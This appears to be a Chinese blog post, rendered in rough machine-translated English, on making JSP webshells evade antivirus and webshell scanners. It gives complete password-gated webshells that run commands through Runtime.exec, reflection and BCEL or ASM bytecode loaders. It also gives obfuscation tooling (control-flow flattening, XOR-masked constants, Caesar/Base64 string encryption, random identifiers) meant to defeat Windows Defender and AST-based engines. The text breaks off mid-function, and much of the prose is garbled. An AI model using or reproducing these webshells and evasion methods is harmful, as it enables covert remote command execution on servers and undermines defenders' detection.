当前位置:网站首页>JSP Webshell free kill

JSP Webshell free kill

2022-08-02 03:00:00 wespten

Share some useJSPFeatures against the syntax tree class engine skills.

一、“非主流”JSP语法

上面提到JSPIn the first run will beWeb容器,如Tomcat翻译成Java文件,然后才会被Jdk编译成为Class加载到jvm虚拟机中运行.JDKJust watch at compile timejava文件的格式是否正确.而Tomcat在翻译JSPDoes not check whether the grammatical.

所以我们就可以利用这一点,Deliberately constructed does not conform to the grammar specificationJSP样本,To fight the detection engineAST分析.

You can see the compiled files just the contexttry catch闭合,Formed a legalJava源文件,所以能够通过JDKThe compilation of normal operation.

二、“特殊”内置对象

Continue to see the translatedJava文件,可以看的Servlet继承了org.apache.jasper.runtime.HttpJspBase类.

在_jspServiceWe write in the business logic of the,Before you can see a series includerequest,response,pageContextBuilt-in objects such as the assignment operator.其中发现pageContext会赋值给_jspx_page_context,所以就可以直接使用_jspx_page_context来代替pageContext,Help us to obtain parameters. 

Engine without identify_jspx_page_contextMight be as an undefined variable to deal with,Resulting in lost stain.

三、利用Unicode编码

JSP可以识别Unicode编码后的代码,This feature is known as.If the engine no for samplesUnicode解码处理,Can directly cause dimension reduction to crack down on.

四、利用HTML实体编码

除了JSP以外,There is also a can dynamic analytic type of script calledJSPX,可以理解成XML格式的JSP文件.在XMLCan be used to entity encoding to the special characters in escape,JSPXAlso inherited the characteristics.We can use this feature,Come to encode sensitive function even in full.

 

五、利用CDATA拆分关键字

XMLThere is also a feature ofCDATA区段.

Can also take advantage of this,Keywords to split up,To interfere with the analysis of the engine.

 

Because Ann knight USES is based on the testing technology of the disassembly with bytecode,So will not be on the surface in the form of interference by confusion.

六、Expression免杀

由于Java面向对象的特性,Almost every class are not independent,Have a series of inheritance are behind.Killing engine may identify common malicious,But we can by looking for malicious the underlying implementation of a class or top wrapper classes for around,从而实现Webshell的免杀.

向下走–Look for the underlying implementation class

这里以常见的Runtime类跟Expression类为例

ProcessImpl

查看Runtime类中exec方法的源码,可以发现exec实际上调用了ProcessBuilder的start方法.

进一步查看ProcessBuilderCan be found to be triggeredjava.lang.ProcessImpl的start方法.

跟进ProcessImpl的startThe last call its constructor found.

 

看一下ProcessImpl的构造方法是private类型的,And there is no any common constructor,所以直接实例化ProcessImpl就会报错.

在Java中,If you want to stop a class to be instantiated directly generally there are two ways to,One is the name of the class directly to useprivate修饰,The other is only set up a private constructor.虽然我们不能直接new一个ProcessImpl,But you can use reflection to invoke thepublic类的方法.

Statement

上文中提到了Expression的getValueMethod can realize expressions perform,Have a look at his source content.

发现Expression类继承了Statement,And then the constructor is the superclass constructor calls.

 

查看getValue方法,Found that call the parent classinvoke函数.

查看invoke函数,跳转到了java.beans.Statement#invoke. 

跟进java.beans.Statement#invokeInternalFound at the bottom of the implementation is reflection

综上所述,Expression的getValue实际上是调用了Statement类的invoke()函数,The calculation of expression was achieved by a series of reflection again.但是invoke函数不是public类型的,不能直接调用.But we can find the similar injava.beans.Statement#execute方法调用了invoke,And at the same time meetpublic类型,可以直接调用.Statement类也是public的,可以直接new,So we can construct a new way of using.

ELManager

查看ELProcessor的eval的底层实现,找到javax.el.ELProcessor#getValue

其实是调用了this.factory的createValueExpression方法,跟进this.factory发现是ELProcessor类的构造方法中通过ELManager.getExpressionFactory()获取的.

So they can construct the following form to bypass the.

向上走–Looking for call with wrapper classes

Now that you can use the underlying class to bypass the,So of course we can look for what kind of call for our malicious class and packing.

sun.net.www.MimeLauncher

从源码中可以看到sun.net.www.MimeLauncher#run方法中最后调用了Runtime类的exec方法

但是这个类是package-private修饰的,所以不能直接调用.不过没关系,我们还有反射.

Construct the parameters,然后通过反射调用run方法

 

在源码中grepThe keyword as you can see the same class there are a few,这里不再赘述.

七、BCELBytecode free to kill

来自JavaSecurity world better knownBCELClassLoader,不过对于JDKVersion has certain restrictions.

In the tool implements the staticBCEL字节码和ASMDynamic structure of two kinds of free to killWebshell.

Before handling the staticJSP如下:

<%@ page language="java" pageEncoding="UTF-8" %>
<%! String PASSWORD = "4ra1n"; %>
<%
    String cmd = request.getParameter("cmd");
    String pwd = request.getParameter("pwd");
    if (!pwd.equals(PASSWORD)) {
        return;
    }
    String bcelCode = "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$85U$5bW$hU$U$fe$86$ML$Y$86B$93R$$Z$bcQ$hn$j$ad$b7Z$w$da$mT4$5c$84$W$a4x$9bL$Oa$e8d$sN$s$I$de$aa$fe$86$fe$87$beZ$97$86$$q$f9$e8$83$8f$fe$M$7f$83$cb$fa$9dI$I$89$84$e5$ca$ca$3es$f6$de$b3$f7$b7$bf$bd$cf$99$3f$fe$f9$e57$A$_$e3$7b$jC$98$d6$f0$a6$8e6$b9$be$a5$e1$86$8e4f$a4x$5b$c7$y$e6t$b4$e3$a6$O$V$efH1$_$j$df$8d$e3$3d$b9f$3a$d1$8b$F$N$8b$3a$96$b0$i$c7$fb$3aV$b0$aa$e3$WnK$b1$a6c$j$ltb$Dw$e2$d8$d4$f1$n$3e$d2$f0$b1$82X$mJ$K$S$99$jk$d72$5d$cb$cb$9b$aba$e0x$f9$v$F$j$d7$j$cf$J$a7$V$f4$a5N$9aG$d7$U$a83$7eN$u$e8$c98$9eX$y$X$b2$o$b8ee$5d$n$c3$f9$b6$e5$aeY$81$p$f75$a5$gn$3bL$a5g$d2$b6pgw$j$97$vbv$n$a7$a0$bb$U$c5L$97$j7$t$C$F$83$t$d2$d5L$7c$e3L$b6$bc$b5$r$C$91$5b$RV$e4$3cPuv$7c3$ddd$a1$af$ea$S$Y$c3$af$86$96$7dw$c1$wF$40$c8$90$86O$c82$J$s$9a$d9$3d$5b$UC$c7$f7J$g$3eU$Q$P$fdjF$F$e7R$a3$adXQ$L$96$e3$v8$9f$da$3c$85$U$x$c8$b3$ccd$L$b3$82$$$c7$x$96Cn$85U$m$afu$e8$f3$c7jz$b5g$f7C$d9$95$b6$cd4$e3$d9$R$c9$fa$aa_$Ol1$e7H$w$bb$8f$u$bc$y$D$Y$b8$AKA$ff$v$a4$Rkk$86Ht$8b$fcU$9b$86$ac$B$h9$D$C$5b$g$f2$G$b6$e1$c8D$3bR$dc5$e0$e2$8a$81$C$c8$84$a2$hxQ$ee$9e$c0$93$q$f0$I$9a$G$df$40$R$9f$b1eu$b4$b6k$95$c8s$60$a0$84PC$d9$c0$$$3e7$b0$87$7d$N_$Y$f8$S_i$f8$da$c07$b8$c7$40$p$p$e9$99$d9$cc$c8$88$86o$N$7c$87a$F$bd$c7$V$$ew$84$j6$a9$8e$fa$96$ac$X$b5To$$$t$z$r$9bs$f6$d8$7d$a5$ec$85NA2$9b$Xa$7d$d3$d7$d4$f4$9aZv$5d$ec$J$5b$c1$a5V$t$a1A$b5$i$f8$b6$u$95$a6$9a2$d5$94$q$82$99$e6$h$H$a0$ff$u$db$89$R$YH$b54$c8$g$92$c7$a6$da$a4Km$9c$f6$5c$s$9a$f7$O$abX$U$k$cf$d5$e4$ff$a0$fd$ef$d9$ea96$cd$c8NU$RG$8f$Z$bf61M$fc4$98$f8z_K$D$BK$82E$v$9a$df$h$a5$a3$daGO$Hw$82$8dd$L$b5$82N$w$j$b7z$b9$b0$bd$f3$ec$92$q$81$e7$t$b5$99$96$db$x$b6_0Ke$cf$f4$83$bci$V$z$7b$5b$98Y$ce$a2$e9x$a1$I$3c$cb5$a3$81$dc$e2$992o$87$8e$eb$84$fbdOx$d5$T$d7$cf$uwZ$5e$B$8dC$b7_$K$F$b1$c4$fcr$d8x$a0$97$e9$da$C$7f$83Z$81V$94$3b$d7$c33$bc$b9$87$f8$JP$f8$e7$n$a2$8c$f1$f9$C$86y$ad$3f$c5$dd$9f$e8$e0$bd$P$dc$i$3b$80r$88$b6$8d$D$c4$W$O$a1n$i$a2$7d$e3$R$3a$c6$x$d0$w$88$l$a0$f3$A$fa$e2d$F$5d$h$d7$d4$df$91$98$YT$x0$S$dd$U$eb$P$k$ff56Q$c1$99$9f$d1$f30J$f04$e504$ca$$$7eJ$M$fe$baq$R$3d0$Jf$g$J$cc$nI$60$f2$bb$U$a5$c6$b3x$O$88$9eF$IQ$a1$ff$U$fd$9f$t$c4$8b$b4$5dB$8a1$t$I$7f$94V$VcQ$vm$8fiT5$8ck$98$d00$a9$e12$f07$G$b8c$g$d0M$c1$L$fc$f3$f6$a0$94$95$9a$5c$r$L$edc$3f$a1$e7$H$3e$b4E8$3b$oe$7f$84$c7$a8$3a$d4$f0t$e2$r$o$ac$d2t$9f$IT$aeW$T$bd$V$9cM$q$wHfH$cd$b9_$e3$L$e3$y$bdo$7dB$7d$84$f3$8b$3f$a2$bf$c6ab$80$cc$90$$$83$bcT0$f8$b0$9eo$88$Z$r$fe$$$d6$92$60$p$G$c8$d40s$bcF$ab$c40V$cd$83W$f0j$c4$df$q$zW$89$xA$3e$5e$c75F$Zf$8c$v$be$jk$w$f4z$94$e1$8d$7f$BP$cbmH$f2$H$A$A";
    Class<?> c = Class.forName("com.sun.org.apache.bcel.internal.util.ClassLoader");
    ClassLoader loader = (ClassLoader) c.newInstance();
    Class<?> clazz = loader.loadClass(bcelCode);
    java.lang.reflect.Constructor<?> constructor = clazz.getConstructor(String.class);
    Object obj = constructor.newInstance(cmd);
    response.getWriter().print("<pre>");
    response.getWriter().print(obj.toString());
    response.getWriter().print("</pre>");
%>

Before handling the dynamic structure bytecodeJSP如下:

<%@ page language="java" pageEncoding="UTF-8" %>
<%@ page import="static jdk.internal.org.objectweb.asm.Opcodes.*" %>
<%! String PASSWORD = "4ra1n"; %>
<%
    jdk.internal.org.objectweb.asm.ClassWriter classWriter = new jdk.internal.org.objectweb.asm.ClassWriter(
            jdk.internal.org.objectweb.asm.ClassWriter.COMPUTE_FRAMES);
    jdk.internal.org.objectweb.asm.FieldVisitor fieldVisitor;
    jdk.internal.org.objectweb.asm.MethodVisitor methodVisitor;
    classWriter.visit(V1_8, ACC_PUBLIC | ACC_SUPER, "sample/ByteCodeEvil", null, "java/lang/Object", null);
    fieldVisitor = classWriter.visitField(0, "res", "Ljava/lang/String;", null, null);
    fieldVisitor.visitEnd();
    methodVisitor = classWriter.visitMethod(ACC_PUBLIC, "<init>", "(Ljava/lang/String;)V", null, new String[]{"java/io/IOException"});
    methodVisitor.visitCode();
    methodVisitor.visitVarInsn(ALOAD, 0);
    methodVisitor.visitMethodInsn(INVOKESPECIAL, "java/lang/Object", "<init>", "()V", false);
    methodVisitor.visitTypeInsn(NEW, "java/lang/StringBuilder");
    methodVisitor.visitInsn(DUP);
    methodVisitor.visitMethodInsn(INVOKESPECIAL, "java/lang/StringBuilder", "<init>", "()V", false);
    methodVisitor.visitVarInsn(ASTORE, 2);
    methodVisitor.visitTypeInsn(NEW, "java/io/BufferedReader");
    methodVisitor.visitInsn(DUP);
    methodVisitor.visitTypeInsn(NEW, "java/io/InputStreamReader");
    methodVisitor.visitInsn(DUP);
    methodVisitor.visitMethodInsn(INVOKESTATIC, "java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false);
    methodVisitor.visitVarInsn(ALOAD, 1);
    methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Runtime", "exec", "(Ljava/lang/String;)Ljava/lang/Process;", false);
    methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Process", "getInputStream", "()Ljava/io/InputStream;", false);
    methodVisitor.visitMethodInsn(INVOKESPECIAL, "java/io/InputStreamReader", "<init>", "(Ljava/io/InputStream;)V", false);
    methodVisitor.visitMethodInsn(INVOKESPECIAL, "java/io/BufferedReader", "<init>", "(Ljava/io/Reader;)V", false);
    methodVisitor.visitVarInsn(ASTORE, 3);
    jdk.internal.org.objectweb.asm.Label label0 = new jdk.internal.org.objectweb.asm.Label();
    methodVisitor.visitLabel(label0);
    methodVisitor.visitVarInsn(ALOAD, 3);
    methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/io/BufferedReader", "readLine", "()Ljava/lang/String;", false);
    methodVisitor.visitInsn(DUP);
    methodVisitor.visitVarInsn(ASTORE, 4);
    jdk.internal.org.objectweb.asm.Label label1 = new jdk.internal.org.objectweb.asm.Label();
    methodVisitor.visitJumpInsn(IFNULL, label1);
    methodVisitor.visitVarInsn(ALOAD, 2);
    methodVisitor.visitVarInsn(ALOAD, 4);
    methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "append", "(Ljava/lang/String;)Ljava/lang/StringBuilder;", false);
    methodVisitor.visitLdcInsn("\n");
    methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "append", "(Ljava/lang/String;)Ljava/lang/StringBuilder;", false);
    methodVisitor.visitInsn(POP);
    methodVisitor.visitJumpInsn(GOTO, label0);
    methodVisitor.visitLabel(label1);
    methodVisitor.visitVarInsn(ALOAD, 0);
    methodVisitor.visitVarInsn(ALOAD, 2);
    methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "toString", "()Ljava/lang/String;", false);
    methodVisitor.visitFieldInsn(PUTFIELD, "sample/ByteCodeEvil", "res", "Ljava/lang/String;");
    methodVisitor.visitInsn(RETURN);
    methodVisitor.visitMaxs(6, 5);
    methodVisitor.visitEnd();
    methodVisitor = classWriter.visitMethod(ACC_PUBLIC, "toString", "()Ljava/lang/String;", null, null);
    methodVisitor.visitCode();
    methodVisitor.visitVarInsn(ALOAD, 0);
    methodVisitor.visitFieldInsn(GETFIELD, "sample/ByteCodeEvil", "res", "Ljava/lang/String;");
    methodVisitor.visitInsn(ARETURN);
    methodVisitor.visitMaxs(1, 1);
    methodVisitor.visitEnd();
    classWriter.visitEnd();
    byte[] code = classWriter.toByteArray();
    String cmd = request.getParameter("cmd");
    String pwd = request.getParameter("pwd");
    if (!pwd.equals(PASSWORD)) {
        return;
    }
    String byteCode = com.sun.org.apache.bcel.internal.classfile.Utility.encode(code, true);
    byteCode = "$$BCEL$$" + byteCode;
    Class<?> c = Class.forName("com.sun.org.apache.bcel.internal.util.ClassLoader");
    ClassLoader loader = (ClassLoader) c.newInstance();
    Class<?> clazz = loader.loadClass(byteCode);
    java.lang.reflect.Constructor<?> constructor = clazz.getConstructor(String.class);
    Object obj = constructor.newInstance(cmd);
    response.getWriter().print("<pre>");
    response.getWriter().print(obj.toString());
    response.getWriter().print("</pre>");
%>

八、一句话免杀

这个WebshellWill directly beWindows Defender杀的,百度WEBDIR+Will kill.

<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>

Try to open a word,Add the echo and eliminate the code,Get to the code:

<%@ page language="java" pageEncoding="UTF-8" %>
<%
    Runtime rt = Runtime.getRuntime();
    String cmd = request.getParameter("cmd");
    Process process = rt.exec(cmd);
    java.io.InputStream in = process.getInputStream();
    // 回显
    out.print("<pre>");
    // The Internet echo code a little problem,建议采用这种方式
    java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);
    java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
    String s = null;
    while ((s = stdInput.readLine()) != null) {
        out.println(s);
    }
    out.print("</pre>");
%>

绕过了Windows Defender和百度WEBDIR+,However we cannot be satisfied with the current situation,Because these platforms killing strength is not strong.

Based on this again,You can join reflection calls to further free to kill.

<%@ page language="java" pageEncoding="UTF-8" %>
<%
    // 加入一个密码
    String PASSWORD = "password";
    String passwd = request.getParameter("pwd");
    String cmd = request.getParameter("cmd");
    if (!passwd.equals(PASSWORD)) {
        return;
    }
    // 反射调用
    Class rt = Class.forName("java.lang.Runtime");
    java.lang.reflect.Method gr = rt.getMethod("getRuntime");
    java.lang.reflect.Method ex = rt.getMethod("exec", String.class);
    Process process = (Process) ex.invoke(gr.invoke(null), cmd);
    // 类似上文做回显
    java.io.InputStream in = process.getInputStream();
    out.print("<pre>");
    java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);
    java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
    String s = null;
    while ((s = stdInput.readLine()) != null) {
        out.println(s);
    }
    out.print("</pre>");
%>

九、控制流平坦化

On the basis of the reflection calls after integrating the concept of control flow flat,Will achieve the result of how?

To control the flow of flat concept the author is actually not very clear,In general is the code toswitchBlock and the dispenser.

The following is the result of the reflection code above modified,Can manually can also write a script to generate.

// Presented here is prescribed sequence dispenser
String dispenserArr = "0|1|2|3|4|5|6|7|8|9|10|11|12";
String[] b = dispenserArr.split("\\|");

int index = 0;
// 声明变量
String passwd = null;
String cmd = null;
Class rt = null;
java.lang.reflect.Method gr = null;
java.lang.reflect.Method ex = null;
Process process = null;
java.io.InputStream in = null;
java.io.InputStreamReader resulutReader = null;
java.io.BufferedReader stdInput = null;

while (true) {
    int op = Integer.parseInt(b[index++]);
    switch (op) {
        case 0:
            passwd = request.getParameter("pwd");
            break;
        case 1:
            cmd = request.getParameter("cmd");
            break;
        case 2:
            if (!passwd.equals(PASSWORD)) {
                return;
            }
            break;
        case 3:
            rt = Class.forName("java.lang.Runtime");
            break;
        case 4:
            gr = rt.getMethod("getRuntime");
            break;
        case 5:
            ex = rt.getMethod("exec", String.class);
            break;
        case 6:
            process = (Process) ex.invoke(gr.invoke(null), cmd);
            break;
        case 7:
            in = process.getInputStream();
            break;
        case 8:
            out.print("<pre>");
            break;
        case 9:
            resulutReader = new java.io.InputStreamReader(in);
            break;
        case 10:
            stdInput = new java.io.BufferedReader(resulutReader);
        case 11:
            String s = null;
            while ((s = stdInput.readLine()) != null) {
                out.println(s);
            }
            break;
        case 12:
            out.print("</pre>");
            break;
    }
}

Notice that defines the beginning0|1|2|3|4|5|6|7|8|9|10|11|12这样的字符串,The Numbers correspond to the order ofswitchBlock the execution order,The current from the first0条到第12条执行.

在进入switch之前,Need to implement declare variables,否则在Java的语法下,单一caseStatement variables cannot be othercase语句获取.

当执行完命令后,变量indexWill be more than the largest index,Result in an error stop script,So does not appear to take up the server resources.

然而在这种情况下,The dispenser is certain the number in the order,caseOrder is certain,So you need to disturb the variable to confuse and free to kill,使用了Java的AST库JavaParserParsing code and implement this function:

if (target instanceof StringLiteralExpr) {
    // StringLiteralExprObject is a simple string
    String value = ((StringLiteralExpr) target).getValue();
    // If you include the symbols as the dispenser
    if (value.contains("|")) {
        String[] a = value.split("\\|");
        int length = a.length;
        // A simple array disturb algorithm
        for (int i = length; i > 0; i--) {
            int randInd = rand.nextInt(i);
            String temp = a[randInd];
            a[randInd] = a[i - 1];
            a[i - 1] = temp;
        }
        // Upset after digital reoccupy|拼起来
        StringBuilder sb = new StringBuilder();
        for (String s : a) {
            sb.append(s).append("|");
        }
        String finalStr = sb.toString();
        finalStr = finalStr.substring(0, finalStr.length() - 1);
        // Disturb the dispenser set back
        ((StringLiteralExpr) target).setValue(finalStr);
        result = finalStr;
    }
}

打乱switch-case块的代码:

String[] a = target.split("\\|");
// 得到SwitchStatement to replace later
SwitchStmt stmt = method.findFirst(SwitchStmt.class).isPresent() ?
    method.findFirst(SwitchStmt.class).get() : null;
if (stmt == null) {
    return;
}
// 得到所有的Case块
List<SwitchEntry> entryList = method.findAll(SwitchEntry.class);
for (int i = 0; i < entryList.size(); i++) {
    // Case块的Label是数字
    if (entryList.get(i).getLabels().get(0) instanceof IntegerLiteralExpr) {
        // Get a specific digital objectsIntegerLiteralExpr
        IntegerLiteralExpr expr = (IntegerLiteralExpr) entryList.get(i).getLabels().get(0);
        // Set to the dispenser correspond to the order of the Numbers
        expr.setValue(a[i]);
    }
}
// 打乱Case块集合
NodeList<SwitchEntry> switchEntries = new NodeList<>();
Collections.shuffle(entryList);
switchEntries.addAll(entryList);
// Plug backSwitch中
stmt.setEntries(switchEntries);

After disturb effect is satisfactory:

String dispenserArr = "1|2|9|4|11|10|3|8|7|12|5|0|6";
String[] b = dispenserArr.split("\\|");
...
while (true) {
    int op = Integer.parseInt(b[index++]);
    switch(op) {
        case 11:
            gr = rt.getMethod("getRuntime");
            break;
        case 0:
            String s = null;
            while ((s = stdInput.readLine()) != null) {
                out.println(s);
            }
            break;
        case 5:
            stdInput = new java.io.BufferedReader(resulutReader);
        case 12:
            resulutReader = new java.io.InputStreamReader(in);
            break;
        case 4:
            rt = Class.forName("java.lang.Runtime");
            break;
        ...
    }
}

十、Xor encryption digital

Xor encryption is simple:a^b=c那么a^c=b

如果aVariable is the goal of encryption,We can randomly ab,计算得到的c和bExclusive or back to the originala

For the digital,Xor encryption can be used,And you can use multiple

And the author found that the variable is not enough,So how to make more digital variable?

Put the string variable to global array,Then use the string in array access way

String[] globalArr = new String[]{"0|1|2|3|4|5|6|7|8|9|10|11|12|13", "pwd", "cmd", "java.lang.Runtime",
                    "getRuntime", "exec", "<pre>", "</pre>"};
String temp = globalArr[0];
String[] b = temp.split("\\|");
...
while (true) {
    int op = Integer.parseInt(b[index++]);
    switch (op) {
        case 0:
            passwd = request.getParameter(globalArr[1]);
            break;
        case 1:
            cmd = request.getParameter(globalArr[2]);
            break;
        ...
    }
}

这时候的globalArr[1]Invocation style can use xor encryption.

Random random = new Random();
random.setSeed(System.currentTimeMillis());
// Iterate through all the simple digital objects
List<IntegerLiteralExpr> integers = method.findAll(IntegerLiteralExpr.class);
for (IntegerLiteralExpr i : integers) {
    // 原来的数字a
    int value = Integer.parseInt(i.getValue());
    // 随机的数字b
    int key = random.nextInt(1000000) + 1000000;
    // c=a^b
    int cipherNum = value ^ key;
    // With a bracketa^b防止异常
    EnclosedExpr enclosedExpr = new EnclosedExpr();
    BinaryExpr binaryExpr = new BinaryExpr();
    // 构造一个c^b
    binaryExpr.setLeft(new IntegerLiteralExpr(String.valueOf(cipherNum)));
    binaryExpr.setRight(new IntegerLiteralExpr(String.valueOf(key)));
    binaryExpr.setOperator(BinaryExpr.Operator.XOR);
    // 塞回去
    enclosedExpr.setInner(binaryExpr);
    i.replace(enclosedExpr);
}

The effect of double vision or encrypted:

String[] globalArr = new String[] { "1|11|13|9|5|8|12|3|4|2|10|6|7|0", "pwd", "cmd", "java.lang.Runtime", "getRuntime", "exec", "<pre>", "</pre>" };
String temp = globalArr[((1913238 ^ 1011481) ^ (432471 ^ 1361880))];
...
int index = ((4813 ^ 1614917) ^ (381688 ^ 1926256));
...
while (true) {
    int op = Integer.parseInt(b[index++]);
    switch(op) {
        case ((742064 ^ 1861497) ^ (1601269 ^ 1006398)):
            out.print(globalArr[((367062 ^ 1943510) ^ (1568013 ^ 1037067))]);
            break;
        case ((108474 ^ 1265634) ^ (575043 ^ 1715728)):
            cmd = request.getParameter(globalArr[((735637 ^ 1455096) ^ (115550 ^ 1886513))]);
            break;
        case ((31179 ^ 1437731) ^ (335232 ^ 1086562)):
            resulutReader = new java.io.InputStreamReader(in);
            break;
        ...
    }
}

十一、Encrypted string constants

提取的globalArrThe string is definitely,Must be a reversible encryption algorithm,Because at the time of execution need to take out to restore.

Select the simpler Caesar encryption,没有使用复杂的AES等加密.

Because Caesar encryption can encrypt special characters,所以最终选择了Base64Add Caesar encryption approach.

// 加密算法
public static String encryption(String str, int offset) {
    char c;
    StringBuilder str1 = new StringBuilder();
    for (int i = 0; i < str.length(); i++) {
        c = str.charAt(i);
        if (c >= 'a' && c <= 'z') {
            c = (char) (((c - 'a') + offset) % 26 + 'a');
        } else if (c >= 'A' && c <= 'Z') {
            c = (char) (((c - 'A') + offset) % 26 + 'A');
        } else if (c >= '0' && c <= '9') {
            c = (char) (((c - '0') + offset) % 10 + '0');
        } else {
            str1 = new StringBuilder(str);
            break;
        }
        str1.append(c);
    }
    sun.misc.BASE64Encoder encoder = new sun.misc.BASE64Encoder();
    return encoder.encode(str1.toString().getBytes(StandardCharsets.UTF_8));
}

// 需要嵌入JSP的解密算法
public static String dec(String str, int offset) {
    try {
        // 先Base64解码
        byte[] code = java.util.Base64.getDecoder().decode(str.getBytes("utf-8"));
        str = new String(code);
        char c;
        // Then try to Caesar password decryption
        StringBuilder str1 = new StringBuilder();
        for (int i = 0; i < str.length(); i++) {
            c = str.charAt(i);
            if (c >= 'a' && c <= 'z') {
                c = (char) (((c - 'a') - offset + 26) % 26 + 'a');
            } else if (c >= 'A' && c <= 'Z') {
                c = (char) (((c - 'A') - offset + 26) % 26 + 'A');
            } else if (c >= '0' && c <= '9') {
                c = (char) (((c - '0') - offset + 10) % 10 + '0');
            } else {
                str1 = new StringBuilder(str);
                break;
            }
            str1.append(c);
        }
        String result = str1.toString();
        // 处理特殊情况
        result = result.replace("\\\"","\"");
        result = result.replace("\\n","\n");
        return result;
    } catch (Exception ignored) {
        return "";
    }
}

Notice the Caesar cipher need an offset,So you need to save this offset writeJSP:

Random random = new Random();
random.setSeed(System.currentTimeMillis());
// 随机偏移
int offset = random.nextInt(9) + 1;
// 得到字符串
List<StringLiteralExpr> stringList = method.findAll(StringLiteralExpr.class);
for (StringLiteralExpr s : stringList) {
    if (s.getParentNode().isPresent()) {
        // If the string is in the array
        if (s.getParentNode().get() instanceof ArrayInitializerExpr) {
            // 进行加密
            String encode = EncodeUtil.encryption(s.getValue(), offset);
            // There may be unexpected break
            encode = encode.replace(System.getProperty("line.separator"), "");
            // 设置回去
            s.setValue(encode);
        }
    }
}
// 记录偏移量
return offset;

重点来了,When the encrypted string call need to add the decryption function

效果是:globalArr[1] -> dec(global[1])

public static void changeRef(MethodDeclaration method, int offset) {
    // All of the array access object
    List<ArrayAccessExpr> arrayExpr = method.findAll(ArrayAccessExpr.class);
    for (ArrayAccessExpr expr : arrayExpr) {
        // 如果访问的是globalArr
        if (expr.getName().asNameExpr().getNameAsString().equals("globalArr")) {
            // To build a method call object,Call is decryptiondec方法
            MethodCallExpr methodCallExpr = new MethodCallExpr();
            methodCallExpr.setName("dec");
            methodCallExpr.setScope(null);
            // dec方法参数需要是NodeList对象
            NodeList<Expression> nodeList = new NodeList<>();
            ArrayAccessExpr a = new ArrayAccessExpr();
            a.setName(expr.getName());
            a.setIndex(expr.getIndex());
            // The first parameter to the original array call
            nodeList.add(a);
            // 记录的offsetNeed to pass into the second parameter
            IntegerLiteralExpr intValue = new IntegerLiteralExpr();
            // 塞回去
            intValue.setValue(String.valueOf(offset));
            nodeList.add(intValue);
            methodCallExpr.setArguments(nodeList);
            expr.replace(methodCallExpr);
        }
    }
}

处理后的结果,Combined with xor encryption to see the effect is very good.

String[] globalArr = new String[] { "M3w4fDV8OXwyfDB8NHw2fDEwfDEzfDF8MTF8MTJ8Nw==", "dWJp", "aHJp", "amF2YS5sYW5nLlJ1bnRpbWU=", "bGp5V3pzeW5yag==", "amNqaA==", "PHByZT4=", "PC9wcmU+" };
...
while (true) {
    int op = Integer.parseInt(b[index++]);
    switch(op) {
        case ((268173 ^ 1238199) ^ (588380 ^ 1968486)):
            ex = rt.getMethod(dec(globalArr[((895260 ^ 1717841) ^ (247971 ^ 1333227))], ((706827 ^ 1975965) ^ (557346 ^ 1863345))), String.class);
            break;
            break;
        case ((713745 ^ 1371509) ^ (428255 ^ 1606073)):
            gr = rt.getMethod(dec(globalArr[((254555 ^ 1810726) ^ (282391 ^ 1838190))], ((414648 ^ 1339706) ^ (324750 ^ 1496585))));
            break;
        case ((63576 ^ 1062484) ^ (129115 ^ 1128030)):
            rt = Class.forName(dec(globalArr[((193062 ^ 1348770) ^ (1652640 ^ 1003815))], ((369433 ^ 1334986) ^ (200734 ^ 1240520))));
            break;
        ...
    } 
}

十二、Identifier randomly named

还差一步,Need to which all identifiers to a random name.

这一步不难,拿到所有的NameExpr对nameAttribute to do changes.

Map<String,String> vas = new HashMap<>();
// 所有的变量声明
List<VariableDeclarator> vaList = method.findAll(VariableDeclarator.class);
for(VariableDeclarator va:vaList){
    // Amend the variable names randomly
    String newName = RandomUtil.getRandomString(20);
    // Pay attention to record variable mapping relationship
    vas.put(va.getNameAsString(), newName);
    va.setName(newName);
}
// Need to modify the reference to the variable variable name
method.findAll(NameExpr.class).forEach(n->{
    // 修改引用
    if(vas.containsKey(n.getNameAsString())){
        n.setName(vas.get(n.getNameAsString()));
    }
});

十三、Reflecting the horse final disposal

最后需要在JSPBeginning into decryption method,And decryption method can also be other means other than Caesar encryption this step

反射调用WebshellAn example of processed,最终的结果如下:

<%@ page language="java" pageEncoding="UTF-8"%><%! String PASSWORD = "passwdd"; %><%!public static String dec(String str, int offset) {
    try {
        byte[] RdhWGkNRTHraMoNXnbqd = java.util.Base64.getDecoder().decode(str.getBytes("utf-8"));
        str = new String(RdhWGkNRTHraMoNXnbqd);
        char tBUyKgoXbsPvSsCJSufs;
        StringBuilder RsYpziowqWZoOiHwzNsD = new StringBuilder();
        for (int TjYCIPdUeOmJcJBsquxo = (1121081 ^ 1121081); TjYCIPdUeOmJcJBsquxo < str.length(); TjYCIPdUeOmJcJBsquxo++) {
            tBUyKgoXbsPvSsCJSufs = str.charAt(TjYCIPdUeOmJcJBsquxo);
            if (tBUyKgoXbsPvSsCJSufs >= 'a' && tBUyKgoXbsPvSsCJSufs <= 'z') {
                tBUyKgoXbsPvSsCJSufs = (char) (((tBUyKgoXbsPvSsCJSufs - 'a') - offset + (1931430 ^ 1931452)) % (1564233 ^ 1564243) + 'a');
            } else if (tBUyKgoXbsPvSsCJSufs >= 'A' && tBUyKgoXbsPvSsCJSufs <= 'Z') {
                tBUyKgoXbsPvSsCJSufs = (char) (((tBUyKgoXbsPvSsCJSufs - 'A') - offset + (1571561 ^ 1571571)) % (1308881 ^ 1308875) + 'A');
            } else if (tBUyKgoXbsPvSsCJSufs >= '0' && tBUyKgoXbsPvSsCJSufs <= '9') {
                tBUyKgoXbsPvSsCJSufs = (char) (((tBUyKgoXbsPvSsCJSufs - '0') - offset + (1720022 ^ 1720028)) % (1441753 ^ 1441747) + '0');
            } else {
                RsYpziowqWZoOiHwzNsD = new StringBuilder(str);
                break;
            }
            RsYpziowqWZoOiHwzNsD.append(tBUyKgoXbsPvSsCJSufs);
        }
